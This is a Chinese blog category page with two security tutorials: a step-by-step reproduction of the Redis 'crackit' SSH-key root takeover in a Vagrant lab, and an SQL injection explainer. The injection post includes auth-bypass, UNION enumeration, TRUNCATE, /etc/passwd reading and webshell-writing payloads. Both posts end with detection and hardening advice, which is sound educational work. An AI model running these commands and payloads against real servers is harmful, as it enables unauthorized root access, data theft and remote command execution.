Fork me on GitHub

分类 信息安全 下的文章

Redis crackit 漏洞尝试

最近爆出来的 Redis crackit 漏洞一直沸沸扬扬,趁着周末的时间研究了一下。研究之余不免感叹,这个漏洞简单粗暴,甚至可以说没有任何技术含量,却能对全球网络造成瘫痪之势,一夜之间几万台服务器接连沦陷。纵观这个漏洞的各个关键点,几乎都是由于配置疏忽导致的,可见运维同学还是任重而道远啊。

一、准备工作

<span style="color:red">网络入侵是违法行为,请在虚拟环境下进行本次实验!</span>

为了在本地进行实验,首先,我们需要有一台安装了 redis-server 的虚拟机,我们使用 Vagrant 自带的 hashicorp/precise32 镜像,虚拟机启动好之后,使用 vagrant ssh 连接。

$ vagrant init hashicorp/precise32
$ vagrant up
$ vagrant ssh

由于新的镜像中默认并没有 redis-server ,我们先要安装并启动它。这里要注意,vagrant 默认使用的用户名是 vagrant 用户,而不是 root 用户,需要使用下面的命令,切换到 root 用户,并使用 passwd 命令给 root 用户设置一个密码:

vagrant@precise32:~$ sudo su -
root@precise32:~# passwd

root 用户设置好之后,安装 redis-server:

root@precise32:~# apt-get install redis-server

运行 redis-server:

root@precise32:~# redis-server /etc/redis/redis.conf

至此,准备工作就绪,确保实验环境的 redis-server 已启动,并且是以 root 用户运行的:

redis.png

二、折腾下 vagrant ssh

这里还有一点要注意,因为刚刚是使用 vagrant ssh 连接的虚拟机,和真实环境下使用 ssh 命令还是有所区别,为了使用 ssh 连接虚拟机,需要弄明白 vagrant ssh 的实现原理。我们通过 vagrant ssh-config 命令查看下 vagrant ssh 配置:

$ vagrant ssh-config
Host default
  HostName 127.0.0.1
  User vagrant
  Port 2222
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
  IdentitiesOnly yes
  LogLevel FATAL

我们再看下 ssh 命令的 man 手册:

ssh-o.png

看看 vagrant 的这个配置,和 ssh-o 选项完全一样。实际上,vagrant 正是通过 ssh-o 或者 -F 来设置参数的。

我们将 vagrant ssh-config 导入到配置文件中:

$ vagrant ssh-config > vagrant-ssh

然后通过 ssh-F 参数,来连接虚拟机:

$ ssh -F vagrant-ssh root@default

或者使用 -o 指定参数:

$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default

这个时候,我们就可以通过 ssh 来连接虚拟机了。这个步骤对于我们最后的成功入侵至关重要。

三、还原漏洞现场

做了这么多的铺垫,实际上真正的入侵只有下面几步:

3.1 生成 rsa 公钥和私钥

首先通过 ssh-keygen -t rsa 命令生成一对密钥文件(id_rsa 和 id_rsa.pub)

$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... .     |
|  oo+X=.. o      |
|  o++o.E . .     |
|  +o  ..  o      |
| ..o .  S. +     |
| .... .=o.+      |
|..  o o=* .      |
|o  . ..+oo       |
| .     ..        |
+----[SHA256]-----+

3.2 给公钥文件加上换行

由于生成的公钥文件只有一行,我们在前后加上几个空行。

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo

3.3 将公钥写入 redis

通过联合 catredis-cli-x 参数将公钥文件写到对方 redis 缓存里。这个地方要注意,如果对方的 redis 缓存不为空,需要使用 flushall 命令清空缓存。

<span style="color:red">请确保缓存中没有重要数据,清空之前请慎重!</span>

$ cat foo | redis-cli -h default -x set crackit

3.4 将公钥保存到对方的 /root/.ssh 目录

然后是攻击最后一步,也是最重要的一步!将公钥保存到对方的 .ssh 目录的 authorized_keys 文件!

这里假设了 redis-server 是以 root 身份运行的,并且对方机器上存在 /root/.ssh 目录。如果不是以 root 身份运行的,这里就需要猜用户名了。

$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK

3.5 验收

如果一切顺利,对方服务器上的公钥文件已经被成功篡改了。那么使用我们刚刚创建的私钥(使用 ssh-i 选项),可以无需密码即可连接对方机器:

$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/
New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~# 

三、判断自己有没有中枪

如果出现以下情况,则说明很有可能你已经中枪:

  1. 缓存被莫名清空
  2. 缓存中多了一个 crackit (或其他类似的)键
  3. 使用 redis 的 config get dir 命令检查是否指向了 /root/.ssh
  4. /.ssh/authorized_keys 文件有被篡改的痕迹
  5. 服务器上运行着不明进程

四、如何修复漏洞

纵观整个攻击流程,之所以很顺利,都是因为 redis-server 的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。

  1. 修改 redis 的 bind 参数,不要 bind 0.0.0.0,让 redis 服务只能内网访问
  2. 修改 redis 的 requirepass 参数,访问 redis 增加密码认证
  3. 修改 redis 的 port 参数,不要使用默认的 6379 端口号
  4. 修改 redis 的 rename-command 参数,将 CONFIG 设置为 "" ,也就是禁用 CONFIG 命令
  5. 以非 root 用户运行 redis 服务
  6. 升级最近版 redis,(最新版的 redis 已经部分修复了该问题,默认 bind 127.0.0.1,并以 redis 用户运行的)

参考

  1. redis crackit安全事件分析
  2. 【安全公告】Redis Crackit 入侵事件通告
  3. Redis 未授权访问配合 SSH key 文件利用分析
  4. What does “vagrant ssh” actually do?
扫描二维码,在手机上阅读!

所有用户输入都是邪恶的:SQL注入

无论是在开发软件还是在制作Web应用,在处理用户输入或和用户进行交互时,从安全的角度考虑,一定要始终记住一句话:所有用户输入都是邪恶的。因为你永远都想不到用户会给你什么。在Web世界里最流行的Web攻击是SQL注入和DOS攻击。今天我们就从SQL注入攻击开始,分析用户可能会给你带来的惊喜。

一、SQL注入的位置

SQL注入只有在SQL语句中插入了用户输入的字符串并没有做好相应的处理时才会发生,用户输入的来源可以是URL参数,POST数据,外部用户输入信息等。程序员在编写代码时往往需要在SQL中填入用户输入的参数,譬如根据用户ID查询用户信息,查询链接类似于/get_user_info.php?uid=123,具体到SQL代码可能是下面这样:

SELECT * FROM User WHERE uid = 123

或者是根据用户名来查找用户,链接类似于/search_user.php?name=Zhangsan,具体到SQL代码类似于下面:

SELECT * FROM User WHERE name = 'Zhangsan'

上面例子中123和Zhangsan就是用户输入的参数,同时也是可能的注入点。常见的SQL注入位置有下面几种(当然程序员可以把用户参数写到任何地方,不仅仅是WHERE条件里,也可以是ORDER BYGROUP BY子句,甚至是SQL语句本身):

SELECT * FROM table WHERE id = XXX
SELECT * FROM table WHERE name = 'XXX'
SELECT * FROM table WHERE name = 'XXX' AND pass = 'YYY'
SELECT * FROM table WHERE name = "XXX"
SELECT * FROM table WHERE id IN (XXX)
SELECT * FROM table WHERE name like '%XXX%'

二、SQL注入方法

从上面列出的SQL语句可以看出,常见的查询参数有可能是数字类型,也可能是字符串类型。两种类型的参数有不同的注入检测方法,字符串类型的参数可以使用 ' '' " "" \ \\\ 进行试探,而数字类型时可以用AND 1AND 0AND trueAND false1-false1-true2-11*100等方法进行试探。下面举例说明: 一般情况下,如果程序对用户输入的参数做了正确的处理,那么输入任何参数页面都不会报错。如下面两句SQL:

SELECT * FROM User WHERE name = 'Zhangsan''
SELECT * FROM User WHERE name = 'Zhangsan'''

这两个SQL第二个是合法的,只要引号成对出现都没问题。如果用户分别输入Zhangsan'和Zhangsan''页面都能正常返回,则表明不存在注入问题,如果第一个输入页面异常,而第二个输入正常则表明该参数很可能是一个可以利用的注入点。 数字类型的参数看下面这个例子,如果用户输入123 AND 1123 AND 0页面返回正常,并且结果一样,则说明程序对参数作了处理,而如果输入123 AND 1返回正常,输入123 AND 0返回空页面,则说明存在注入的可能。

SELECT * FROM User WHERE uid = 123 AND 1
SELECT * FROM User WHERE uid = 123 AND 0

三、注入能做什么

如果SQL注入只是简单的让页面出错或者返回空页面的话,那么SQL注入也就不会这么吸引人了。SQL注入的强大之处在于可以在服务器上做几乎任何事,听起来似乎是危言耸听,但事实确实如此,要不然SQL注入怎么会和DOS攻击一起成为最流行的网络攻击方法呢。下面我们就来看下通过一个简单的URL参数,可以做多么不可思议的事。

3.1 绕开验证

在用户登陆时,往往要根据用户输入的用户名和密码到数据库中进行查询比较,如果用户名和密码匹配则认为登陆成功。相应的SQL语句如下:

SELECT * FROM Customer WHERE name = 'XX' AND pass = 'YY'

如果没有对用户输入的参数进行检查,则当输入用户名为admin,密码为' OR '' = ' 时,执行下面的SQL语句:

SELECT * FROM Customer WHERE name = 'admin' AND pass = '' OR '' = ''

这个SQL语句中的'' = ''将这个WHERE条件变成了恒等于TRUE,所以会返回所有记录。如果程序通过判断返回的记录数是否大于0来判断验证是否通过的话,这样我们就绕过了程序的验证。

3.2 暴库

根据上面的例子可以看到原本是想查询用户名为admin的用户记录,SQL注入后返回的却是数据库中的所有记录。通过这种方式连接其他的表,利用一点点的手段,就几乎可以获取所有数据库、所有表、所有字段的信息,并可以根据这些信息进一步查询数据库中的任意数据。这就是所谓的暴库。譬如还是上面的SQL例子,通过下面的SQL可以获取MySQL版本:

SELECT * FROM User WHERE name = 'Zhangsan' AND MID(VERSION(),1,1) = '5'

通过下面的SQL可以爆出所有表:

SELECT * FROM User WHERE name = 'Zhangsan' UNION SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_TYPE = 'BASE TABLE'-- -'

这种方法称为Union法。要让这个SQL能够正确执行,User表的字段必须和后面UNION SELECT的字段个数一致,如果字段个数不一致SQL执行会报错。所以要让这种方法生效首先得确定User表字段个数,一般通过ORDER BY试探法,如下所示,通过递增ORDER BY的数值直到页面出错来确定字段个数。

SELECT * FROM User WHERE name = 'Zhangsan' ORDER BY 1 -- -'  -- 正常
SELECT * FROM User WHERE name = 'Zhangsan' ORDER BY 2 -- -'  -- 正常
SELECT * FROM User WHERE name = 'Zhangsan' ORDER BY 3 -- -'  -- 正常
SELECT * FROM User WHERE name = 'Zhangsan' ORDER BY 4 -- -'  -- 正常
SELECT * FROM User WHERE name = 'Zhangsan' ORDER BY 5 -- -'  -- 页面出错,可推测User表字段数为4

确定好User表的字段个数后,后面的UNION SELECT语句也需要做相应的调整,可以用数字1来填充,如下:

SELECT * FROM User WHERE name = 'Zhangsan' UNION SELECT TABLE_SCHEMA, TABLE_NAME, 1, 1 FROM information_schema.TABLES WHERE TABLE_TYPE = 'BASE TABLE'-- -'

3.3 增删改查,任意数据库操作

一旦知道了所有的数据库信息,则可以修改注入语句任意操作数据库。如下的例子将Product表清空:

SELECT * FROM User WHERE uid = 123; TRUNCATE TABLE Product

3.4 读写文件

MySQL提供了两个方法可以从本地读取和写入文件,如下:

SELECT LOAD_FILE('/etc/passwd');
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

上面两个例子展现了SQL注入的强大威力,如果MySQL用户拥有读写文件的权限,那么SQL注入将对站点带来巨大的威胁。第一个例子可以爆出linux服务器上的账号密码文件,第二个例子是向网站根目录写一个webshell,通过这个webshell用户就可以执行linux的系统命令了。譬如:http://www.example.com/shell.php?c=ls,通过webshell攻击者可以进一步做更多的事情了,最后直到控制整个服务器。

四、防范SQL注入

针对SQL注入的特点,总结以下几点基本的防范原则:

  1. 永远不要相信用户输入,对用户输入进行校验;
  2. 永远不要自己拼接SQL;
  3. 永远不要用管理员权限的数据库连接;
  4. 永远不要明文保存机密信息;
  5. 尽量不要显示程序的异常信息,保存到表或日志文件中;
  6. 使用WAF;(绕过WAF又是另一个话题了)

从编程的角度来看可以做如下的事情:

  1. 用户输入验证:类型转换、正则表达式、特殊符号过滤(引号,分号,注释符号等)
  2. 使用参数化存储过程
  3. 使用参数化SQL语句
  4. 采用ORM框架

其中将拼接的SQL语句改为使用参数化的SQL语句是最常用的防范方法,另外,参数化的SQL不仅比拼接的更安全,而且性能要更高。 SQL语句的执行过程分几个步骤:语法检查、分析、执行、返回结果。当一条SQL通过语法检查后,会在共享池里寻找是否有跟其相同的语句,如果有则用已有的执行计划执行语句,如果没有找到,则生成执行计划,然后才执行语句。 自己拼接的SQL语句会随着变量的不同而不同,如下面的两句SQL,执行每个SQL的时候都会生成一次执行计划,而这些执行计划其实都是一样的。

SELECT * FROM Customer WHERE uid = 1
SELECT * FROM Customer WHERE uid = 2

当这种SQL语句被大量调用时,会导致共享池中的SQL语句增多,而重用性极低,导致共享池内命中率下降。维护共享池内部结构消耗了大量的CPU和内存资源,而并没有充分利用执行计划的缓存优势,这样会带来性能问题。采用参数绑定的方式,可以解决这个问题:

$uid = 1;
$pdo = new PDO(...);
$sql = "SELECT * FROM Customer WHERE uid = :ID";
$stmt = $pdo->prepare($sql);
$stmt->bindValue(":ID", $uid, PDO::PARAM_INT);
$result = $stmt->execute();

参考

  1. 网络攻击技术开篇——SQL Injection
  2. SQL注入式攻击的防治的六个建议
  3. SQL注入漏洞及绑定变量浅谈
  4. SQL注入攻击防御深层思考
  5. sql注入语句大全
  6. 十大关系数据库SQL注入工具一览
  7. SQL注入测试工具:Pangolin(穿山甲)
  8. 见招拆招:绕过WAF继续SQL注入常用方法
  9. 技巧和诀窍:防范SQL注入攻击
  10. 另类的SQL注入方法
  11. 深入理解SQL注入绕过WAF和过滤机制
  12. MySql注入科普
  13. MySql注入科普(原版)
扫描二维码,在手机上阅读!